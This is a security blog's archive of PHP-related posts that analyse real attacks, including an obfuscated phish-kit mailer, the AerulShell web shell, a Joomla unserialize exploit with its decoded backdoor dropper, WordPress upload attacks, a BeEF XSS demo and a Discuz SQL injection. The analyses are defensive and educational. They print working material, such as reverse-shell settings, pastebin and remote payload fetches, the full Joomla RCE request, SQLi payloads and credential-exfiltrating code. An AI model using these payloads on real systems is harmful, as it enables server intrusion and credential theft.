Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

Thursday, January 11, 2018

Obfuscated Phish Kit php Mailers

I ran across a few phishing kits that had their php mailers obfuscated to the point where you couldn't just view the threat actor's email address.

Normally on an non-obfuscated phishing kit you can find a threat actor's email address by just viewing it like this.


But in a few instances I ran across php mailer files that looked like this


And if I used Notepad++ JSTool -> JSFormat and beautified it a bit I see the php mail call, but it's all obfuscated and there is no clear email address.


In order to find the email address I attempted the following.  I searched for either the '@' symbol or for \x40 (which is the hex equivalent of the '@' symbol).  Why? because my thought was I'm looking for an email address so it's gotta contain that character.  I ended up finding it a line or so above the mail call.


So I pulled out that obfuscated php code.

["b\x71m\x73\x63\x70\x74\x68\x6b\x69a"]
} = "Fr\x6f\x6d:  \x56\x61\x69\x72us O\x2e\x3c\x75\x70\x64\x61\x74\x65s@\x6f\x75\x72t\x69\x6de\x77\x68o\x72\x65\x72s.\x63\x6fm\x3e";

All I really care about is the value (the right hand side of the equal '=' sign.

"Fr\x6f\x6d:  \x56\x61\x69\x72us O\x2e\x3c\x75\x70\x64\x61\x74\x65s@\x6f\x75\x72t\x69\x6de\x77\x68o\x72\x65\x72s.\x63\x6fm\x3e";

Then I find an online php sandbox such as
http://sandbox.onlinephpfunctions.com/

I tweak the code slighly to 'echo' or print out the contents

<?php
echo "Fr\x6f\x6d:  \x56\x61\x69\x72us O\x2e\x3c\x75\x70\x64\x61\x74\x65s@\x6f\x75\x72t\x69\x6de\x77\x68o\x72\x65\x72s.\x63\x6fm\x3e";

Paste that modified code into the sandbox

And view the results
In this case it says
   From:  Vairus O.<updates@ourtimewhorers.com>


This was a failed attempt because that ends up being the from line of the email but not the "to" or "recipient".  So I have to go back and try again.

If I read a bit more about php mail function ( http://php.net/manual/en/function.mail.php ) I realize that the $to parameter is the first one, so what I need to do is look specifically at that first parameter and see what it's getting filled with.

This code
mail($ {
$ {
"G\x4c\x4f\x42\x41\x4c\x53"
}
["\x6b\x74\x77\x7a\x62y\x78z"]
},

And more specifically this code (you can ignore many of the curly brackets as they're just there for confusion.

"G\x4c\x4f\x42\x41\x4c\x53"["\x6b\x74\x77\x7a\x62y\x78z"]

Now if you find a hex to ascii converter online such as this one ( https://www.rapidtables.com/convert/number/hex-to-ascii.html )

You can uncover that this deobfuscates to
GLOBALS["ktwzbyxz"]

Which GLOBALS is apparently a way to access global variables from anywhere in php
So we need to uncover what is in the global variable "ktwzbyxz"
Since the attacker seems to go back and forth between ascii and hex characters, i just search in the file for the first 2 characters of the global variable
  \x6b\x74

And I get a hit higher up in the file

$ {
"\x47L\x4f\x42A\x4cS"
}
["\x6b\x74\x77\x7a\x62\x79\x78\x7a"] = "\x73end";
$ {
"\x47\x4c\x4f\x42A\x4c\x53"
}

That appears after de-obufscating to be the attacker setting
GLOBALS["ktwzbyxz"] = "send"

Oh well, so I tried :-) It does not appear that this obfuscated phishing kit has the threat actor's email address in it yet.  Either I'm missing something (which is possible cause I'm still learning) or this is meant to be set somewhere somehow but the threat actor after they purchase the phishing kit and extract the zip, in which case this is just the template and it doesn't include it yet.

Thanks for taking the time to read through this.

@neonprimetime security

Saturday, February 18, 2017

Attacker Emailed himself your Phished Credentials

@Techhelplistcom posted a dhl/stripe phish site

hxxp://bitadze[.]ge/wp-includes/

The site was still wide open so you could view the http.zip file and in particular under the stripe phish the tfo.php file which is a good example of visibility behind the scenes to see what an attacker is doing with your phished credentials after you enter your data in and click submit on their malicious site



As you can see the attacker grabs your ip address

$ip = $_SERVER['REMOTE_ADDR'];

What browser you're using

$useragent = $_SERVER['HTTP_USER_AGENT'];

Your email & password

$message .= "EMAIL : ".$_POST['1KDL23']."\n";
$message .= "PASSWORD : ".$_POST['FZ32FEZ2345']."\n";


and sends it to himself

$send="fastpay147@gmail.com";

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2017, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, September 1, 2016

AerulShell Web Shell Code Walk-Through

This Paste of the AerulShell v.4 appears to be a php webshell that an attacker can upload and get him backdoor access to compromise and manage your web server without you knowing it.

It's got some interesting features/pieces.

For authentication it requires that the parameter 'x' posted to the url has an md5 hash of c2b72f86b8ca51642c4a902887830d3e.

$auth_pass = "c2b72f86b8ca51642c4a902887830d3e";
if( ... ( md5($_POST['x']) == $auth_pass ) ) )
{ $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; }


Which if you go to an md5 decryptor like this you see that the password is aerulcyber so you could login to it with something like www.hackedsite.com/evilpage.php?x=aerulcyber

Also if there is a login failure then it sends an email to the 'Boss' at root@aerulcyber.biz . How do I know this? If there is a login failure it calls PrintLogin() which is deceptively names as it actually has some obfuscated code of it's own.

function printLogin()
...
$shell_data = "JHZpc2l0Y291bn...;
eval(base64_decode($shell_data));


Which if deobfuscated actually sets a cookie on your browser, counts how many times you've been there, and sends an email with your ip address to the Boss.


$visitcount = $HTTP_COOKIE_VARS["visits"];
...
$visitor = $_SERVER["REMOTE_ADDR"];
...
$body = "Boss, there was an injected target on $target by $visitor";
@mail("root@aerulcyber.biz","http://$target $system by $visitor", "$body");


Also if you were to navigate to this page without the 'x' parameter it deceptively will look like an HTTP 404 page not found. But you should notice a textbox and submit button on the bottom. IF you enter the password mentioned above into the textbox and hit submit, it will log you into the web shell console.

<html>
...
<title>
404 Not Found
</title>
...
<form method=post>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80<center><input type=password name=x><input type=submit
value=''></center></address>
</form>


If you pass in the 'dl' parameter once logged in you can download a file, such as www.hackedsite.com/evil.php?dl=index.php would download the home page code.

if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
...echo $filez;


You could delete a file

if(isset($_GET['delete']) && ($_GET['delete'] != ""))
$file = $_GET['delete']; @unlink($file);


You could make a folder

elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != ""))
$path = $pwd.$_GET['mkdir']; @mkdir($path);


You could get a shell and post commands to it

elseif(isset($_GET['x']) && ($_GET['x'] == 'shell'))
<form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
<table class="cmdbox">
<tr>
<td colspan="2">
<textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>


There's also attempts to download exploits , run them, and elevate you to root

$pilih = $_POST['pilih'];
if ( $pilih == 'autoroot1') {
mkdir('auto',0777);
$file = file_get_contents('http://svchost.nazuka.net/a.txt');
$IIIIIIIIl11I = fopen('auto/auto.pl','w');
chmod("auto/auto.pl",0777);
fwrite($IIIIIIIIl11I,$file);
fclose($IIIIIIIIl11I);
print 'autoroot telah diluncurkan Boss....


There are also additional "bonus tools" that the shell will download and execute , basically stripping text off pastebin.

$file = file_get_contents('http://pastebin.com/raw.php?i=gtTLMyya');
$IIIIIIIIl11I = fopen('meter.php','w');

$file = file_get_contents('http://pastebin.com/raw.php?i=ctQsPjpn');
$IIIIIIIIl11I = fopen('wy.php','w');

$file = file_get_contents('http://pastebin.com/raw.php?i=mGSK1EEa');
$IIIIIIIIl11I = fopen('back.php','w');

$file = file_get_contents('http://pastebin.com/raw.php?i=aBHs2nWR');
$IIIIIIIIl11I = fopen('back.pl','w');


You can pull up a reverse shell back to these ip addresses , it events gives the attacker friendly hints/reminders on how to use it.

+--=[ Backconnect Reverse Shell ]=--+
...
Choose Backconnect Command
...
<form method="post" action="">&
...
<option value="back1" > Perl Backconnect </option>
<option value="back2"> Php Backconnect </option>
<option value="back3"> Weevely </option>
<option value="back4"> Php Metasploit </option>
...
edit pada source script back.pl
my $ip = '222.255.167.45';
my $port = '57899';
...
edit pada source script back.php
$ip = '222.255.167.45';
$port = 57899;
...
edit pada source script back.pl
my $ip = '222.255.167.45';
my $port = '57899';
...
edit pada source script meter.php
$ip = '222.255.167.45';
$port = 57899;
...
usage : nc -lvvp 57899


You can upload a file to the hacked web server with a tool of your choice

<th colspan="2">Upload from url</th>
...
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</optoion>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>


You can deface the site and tell them why you did it

elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){?>

<input class="inputz" type="text" name="defacer" size="67" value="Aerul Da White-Hkc" /><br> <select class="inputz" name="hackmode">
<option>------------------------------------SELECT-------------------------------------</option>
<option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
<option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
<option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
<option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
<option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
<option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
<option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
<option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
<option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
<option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
<option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
<option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
<option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
<option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
<option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
<option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
<option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
<option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
<option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
<option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
<option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
<option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
...
<select class="inputz" name="reason">
<option >------------------------------------SELECT-------------------------------------</option>
<option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
<option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
<option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
<option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
<option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
<option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
<option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>


You could launch a port scan on somebody

function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);


Change the Joomla or Wordpress administrative passwords

$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());


Try to bruteforce guess some default passwords

+--==[ Cpanel BruteForce ]==--+

abcd1234
abcdef
acb123
adm1n1strator
adm1nistrator
admin@123
admin1
ADMIN1
admin12
admin123
admin1234
admin123456


There are many more features if you dig deeper into the code. But hopefully this information above gives a good overview of the power and danger of web shells like AerulShell and gives you a bit more insight into the interworkings and the thought process behind the writers of web shells like this.







More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Joomla DeSerialize Deobfuscation 101

Saw this web request , it is the Joomla unserialize vulnerability. Going to walk through below how to see what it's doing.

GET /

}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3738:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZj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VnpjMkZuWlN3Z0pHaGxZV1JsY2lrN0RRb05Da0IxYm14cGJtc29YMTlHU1V4RlgxOHBPdzBLRFFvTkNqOCsnKSk7DQpmY2xvc2UoJGZwKTs='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd


Joomla wasn't validating input and when de-serializing this blob above would actually evaluate and execute some of it. What you may ask? Well take the base64 encoded stuff and do a quick decode and you get.

$check = $_SERVER['DOCUMENT_ROOT'] . "/media/xxxx.php" ;
$fp=fopen("$check","w+");
fwrite($fp,base64_decode('PD9waHANCmZ1bmN0aW9uIGh0dHBfZ2V0KCR1cmwpew0KCSRpbSA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCWN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KCWN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQoJY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0hFQURFUiwgMCk7DQoJcmV0dXJuIGN1cmxfZXhlYygkaW0pOw0KCWN1cmxfY2xvc2UoJGltKTsNCn0NCiRjaGVjayA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL21lZGlhL2Nzcy5waHAiIDsNCiR0ZXh0ID0gaHR0cF9nZXQoJ2h0dHA6Ly9tcnRnLnVpLnBoaW5tYS5lZHUucGgvY29tcG9uZW50cy9qb29tbGEudHh0Jyk7DQokb3BlbiA9IGZvcGVuKCRjaGVjaywgJ3cnKTsNCmZ3cml0ZSgkb3BlbiwgJHRleHQpOw0KZmNsb3NlKCRvcGVuKTsNCmlmKGZpbGV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SA9IGh0dHBfZ2V0KCdodHRwOi8vbXJ0Zy51aS5waGlubWEuZWR1LnBoL2NvbXBvbmVudHMvcXF6LnR4dCcpOw0KJG9wNT1mb3BlbigkY2hlY2s1LCAndycpOw0KZndyaXRlKCRvcDUsJHRleHQ1KTsNCmZjbG9zZSgkb3A1KTsNCg0KJGNoZWNrNj0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9saWJyYXJpZXMvam9vbWxhL3Nlc3Npb24vc2Vzc2lvbi5waHAiIDsNCiR0ZXh0NiA9IGh0dHBfZ2V0KCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9VSEFHVDg4NycpOw0KJG9wNj1mb3BlbigkY2hlY2s2LCAndycpOw0KZndyaXRlKCRvcDYsJHRleHQ2KTsNCmZjbG9zZSgkb3A2KTsNCg0KJHRveiA9ICIiOw0KJHN1YmplY3QgPSAnSm9tIHp6eiAnIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQokaGVhZGVyID0gJ2Zyb206IEtla2thaSBTZW5zZW4gPHZvblJlaW5oZXJ6S2xhdXNAU2Fpa291bmFIaWJpLmNvbT4nIC4gIlxyXG4iOw0KJG1lc3NhZ2UgPSAiU2hlbGx6IDogaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICIvbGlicmFyaWVzL2pvb21sYS9qbWFpbC5waHA/dSIgLiAiXHJcbiIgLiBwaHBfdW5hbWUoKSAuICJcclxuIjsNCiRzZW50bWFpbCA9IEBtYWlsKCR0b3osICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcik7DQoNCkB1bmxpbmsoX19GSUxFX18pOw0KDQoNCj8+'));
fclose($fp);


Above you see they are opening a new file in your web root folder called xxxx.php and writing something to it. What you may ask? Let's do a base64 decode again on whatever it is. Ah interesting, we get some PHP code below

<?php
function http_get($url){
  $im = curl_init($url);
  curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt($im, CURLOPT_HEADER, 0);
  return curl_exec($im);
  curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/media/css.php" ;
$text = http_get('http://mrtg.ui.phinma.edu.ph/components/joomla.txt');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
  echo $check."
";
}else
  echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/media/jmail.php" ;
$text2 = http_get('http://mrtg.ui.phinma.edu.ph/components/jmailz.txt');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
  echo $check2."
";
}else
  echo "not exits2";
echo "done2 .\n " ;

$check3=$_SERVER['DOCUMENT_ROOT'] . "/H.htm" ;
$text3 = http_get('');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);

$check4=$_SERVER['DOCUMENT_ROOT'] . "/media/check.php" ;
$text4 = http_get('http://mrtg.ui.phinma.edu.ph/components/qq.txt');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);

$check5=$_SERVER['DOCUMENT_ROOT'] . "//media/jmails.php" ;
$text5 = http_get('http://mrtg.ui.phinma.edu.ph/components/qqz.txt');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);

$check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php" ;
$text6 = http_get('http://pastebin.com/raw/UHAGT887');
$op6=fopen($check6, 'w');
fwrite($op6,$text6);
fclose($op6);

$toz = "";
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
$header = 'from: Kekkai Sensen ' . "\r\n";
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
$sentmail = @mail($toz, $subject, $message, $header);

@unlink(__FILE__);

?>


Now the attacker can access the file on your site www.mysite.com/media/xxxx.php. As soon as he does, the php code above creates another file called css.php which is based off the contents of this malicious url hxxp://mrtg.ui.phinma.edu.ph/components/joomla.txt . Actually it does this over and over creating a bunch of backdoors or webshells so that even if the good guy finds and removes 1 or 2 of these files, the attacker will still have a way back onto your compromised machine. Finally at the end an email is sent to indicate the code ran succesfully.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, August 31, 2016

Prevent SQL Injection in PHP

Good quick read on preventing SQL injection by Kamran Mohsin

1-Input Validation
  e.g. convert integers to integers before using so no nasty sql code can be added.
   $id = intval($_GET['id']);


2-Prepared Statements
  e.g. a better way , it separates sql logic from the data
  $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
  $stmt->bindParam(':name', $name);
  $stmt->bindParam(':value', $value);


3-Least Privileges
e.g. even if your developer screwed up, limit what the bad guy can do. if the website only reads certain tables, only give it read access to those tables.


More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, May 31, 2016

A File Upload Vulnerability barrage

I noticed a series of Wordpress/Joomla file upload attacks from a single IP address / attacker in a short period of time. Some of the requests were listed here. What I found interesting was not the fact that most were well known Wordpress vulnerabilities that are still unpatched by many web administrators. What I found interesting was the methodology of the malicious actor. It's likely what they have written is some sort of script/automated scanning tool, perhaps even a botnet or something that is doing this automatically. I envision that the code/script doing this probably has an array or list of well known Wordpress file upload vulnerabilities. It's probably a flexible dynamic list so that as soon as the attacker hear's about a new Wordpress file upload vulnerabilty, he can literally just add a URL path and a post parameter for the file name, and the script/botnet will probably just start scanning and attacking the internet trying to upload malicious files. Then there is likely a follow-up script that runs shortly after that connects to the uploaded backdoors and validates which ones were successful or not. In all the cases below the attacker uploads the same malicious file/name upfilees.php so that the attacker can easily go back later and determine if this was a device they compromised or not. The backdoor is probably a web shell that gives them full access to the web server's file system and the ability to run commands against the web server. Below I did my best to research a few of the attacks seen in this cycle and explain a bit.

yiw_contact[]=upfilees.php
yiw_action=sendemail


In the above HTTP Post, there were 2 parameters that started with yiw. This indicates that the attacker is likely trying to explpoit the Beauty & Clean Theme File Upload Wordpress Vulnerability which is literally as simple as posting your backdoor file to the contact field via the sendmail action. If it succeeds, your file has been uploaded to the web server.

POST/uploadify/uploadify.php
Filedata=upfilees.php


In the next HTTP Post, the attacker is likely attempting to exploit the Event Calendar Arbitrary Wordpress File Upload Vulnerability which is also as simple as passing the file you wanted uploaded as a post parameter to the uploadify.php page. Again, if successful, the attacker just uploaded a php web page to your server and can now do whatever they please.

POST/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/&type=file&feid=&obfuscate=&sessidpass=
Filedata=upfilees.php.suspected
Filename=send.php.suspected


In the next HTTP Post, the attacker is trying to exploit the tinybrowser Remote File Upload Joomla Vulnerability which is another simple vulnerability that involves posting the file you want uploaded as a parameter to the upload_file.php page. We're getting a bit repetitive and non-creative in these vulnerabilities, aren't we?

update_file=upfilees.php
action=revslider_ajax_action


In the next HTTP Post, the attacker is trying to exploit the RevSlider Wordpress File Upload Vulnerability which again requires nothing more than chosing the right action parameter and posting the file, and guess what the web server will be compromised with a nice php backdoor. Oops.

POST /sites/all/libraries/elfinder/php/connector.minimal.php
upload[]=upfilees.php
cmd=upload


In the next HTTP Post, the attacker appears to just be looking for poorly configured systems that have purposely enabled the ELFinder File Manager feature which allows you to remotely manage your web server's file system. Hmmm, can that be exploited? Yep, just post the upload command and your backdoor, and the attacker is in business.

POST /license.php
filename=upfilees.php


The final attack, I believe may be just a standard filename/location that certain attackers or botnets use to exploit systems. They probably exploited this server at some point, and added a backdoor called 'license.php' which allows arbirary file upload. So this attacker is just taking advantage of another attacker's prior compromise of this device. Easy pickings if it exists.

Wordpress & Joomla plugins should not be trusted (like anything else for that matter) and should only be added if absolutely needed. If you do need them, then you better be certain to keep them patched and updated. If you have a plugin that is really not necessary, please, please, please remove those extraneous plugins as otherwise they're going to open up huge ugly gaping holes in your security posture.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, January 12, 2016

XSS Flaws lead to Keylogging,Webcams, & more

I've enjoyed talking about XSS many times on this blog. Today is another one of those days! We're going to bring it hopefully full circle this time. First just as a heads up I'm working in my VM environment with networking configured like this to have a Kali linux box with Apache Web Server and also with BeEF and a windows 7 box with chrome.

Let's say a developer wrote a vulnerable PHP user page on his goodsite.com with this line of code. It's vulnerable to XSS because it's just echoing the user-controlled input back to the screen. This can be really bad as we'll see in a minute.

echo sprintf("User: %s", $_GET['userid']);

Now an evil attacker may swoop in, discover this flaw, and try to get one of your users of the website to click on a link that looks like this



Notice the javascript that tries to load a hook.js file from an evil site. We'll get to what that is later. First you should know that by default Chrome and many modern browsers actually would've saved your life already. Chrome's XSS auditor would've caught this and silently blocked it. You can see this if you view source and find the red highlighted text.



But let's say I was running an older insecure browser, the vulnerability was actually somewhere else and Chrome didn't catch it, or I'm evil and know how to evade the XSS Auditor, or I simply disabled the xss auditor feature (don't do this) in chrome like below.



Then truly bad things will happen as you see below. The evil attacker got my end user to go to my goodsite, but per the Chromes developer tab (F12) I'm able to see that even though my good page loaded, in the background, something else more evil loaded. A hook.js file from evilsite.com which came from the XSS injection of the script src tag. In addition, notice that the hook.js isn't done yet. It's actually created persistence. It's now running over and over every few seconds. This looks bad.



Over on the BeEF console the attacker probably sees some log like this showing him that you've joined his party



And at his disposal he can do whatever he wants as long as your browser and plugin versions support it including evil stuff like enabling your webcam



Or if you happen to type in a password or credit card



He's going to see that as well



One thing I found really cool about BeEF is that you can view all the javascript code behind the scenes making these hooks, keylogging, etc. work is all write there for you to view.



So if you're like me and have a background in web development as a good guy, then you can figure out exactly what code some of the bad guys are taking advantage of.

And finally I'll harp on it again, if you're a web developer, hopefully this blog post gives you another good reason to take XSS flaws seriously for the sake of your end user.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection ali.txt walk-thru
  3. php injection exfil walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, December 17, 2015

DedeCMS File Upload vuln real example

Saw this attack below that appears to be targted at China's popular CMS dedeCMS.

HEAD /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

It appears that if this vulnerable page was available and exposed and not patched then the attacker can gain remote access per this blog i read Above is step 1 in the process which Clears the contents of config_update.php, which is likely an important file for the CMS and if empty now the guards are down on the site. Then the 2nd step it says is that the attacker will send a similar request that Create local HTTP services like this below.

GET /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://BADGUYIP:BADGUYPORT/

And your webshell would now live here

GET /install/hello.php

and your site is owned.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, November 30, 2015

Discuz SQLi Duplicate entry for key

Saw this sql injection attempt likely related to the Discuz! Internet Forum software probably from earlier this year. I think it may come from a PoC like this. Here's the attack seen. POST /faq.php

action=grouppermission
gids[99]='
gids[100][0]=) and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#


The vulnerability is apparently in unsanitized parameter gids. Let's quickly breakdown what the attacker is attempting to do when taking advantage of the vuln. If you rip the sql statement apart, the first portion (deepest nested) actually getting executed is ...

select substr(authkey,1,62) from cdb_uc_applications limit 0,1


Which is saying select the first 62 characters of the authorization key found in the cdb_uc_applications table. This appears to be where the php myadmin authorization key is stored that can be used as we'll see later on to login and administrate the server. The query limits the results to only returning 0 or 1 authorization keys, nothing more. Then the next command is executed on the results

select count(*),concat( ( RESULT ABOVE ) ) ,floor(rand(0)*2) x from information_schema.tables group by x


Which is essentially appending a random 0 or 1 to the authorization key. The attacker will be able to simply drop off that random number and still have the original authorization key. It prints out the same authorization key and 0/1 many times. It actually prints it out once for every table in the database. Then below it'll finish off.

select 1 from ( RESULT ABOVE ) a


by printing the number '1' (literally the number 1) and then

) and ( RESULT ABOVE ) #

comment out (hash symbol) the rest of the sql statement to finish off the sql injection.

So now you might be scratching your head? If the final results was just the number '1', then did anything actually occur? Was any information leaked? Actually yes. Since it attempts to print out the same authorization key and appended 0/1 in a group by statement, it's actually going to fire a database duplicate key error message. Duplicate entry Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key. And the attacker is banking on the fact that the error message will get displayed back onto the page, thus he's able to exfiltrate data from a mysql table via an error message. Pretty clever!

The github exploit linked above shows how this is utilized then ...

content = response.read()
reg = re.compile('Duplicate entry \'1\^(.*?)\' for key')
res = reg.findall(content)


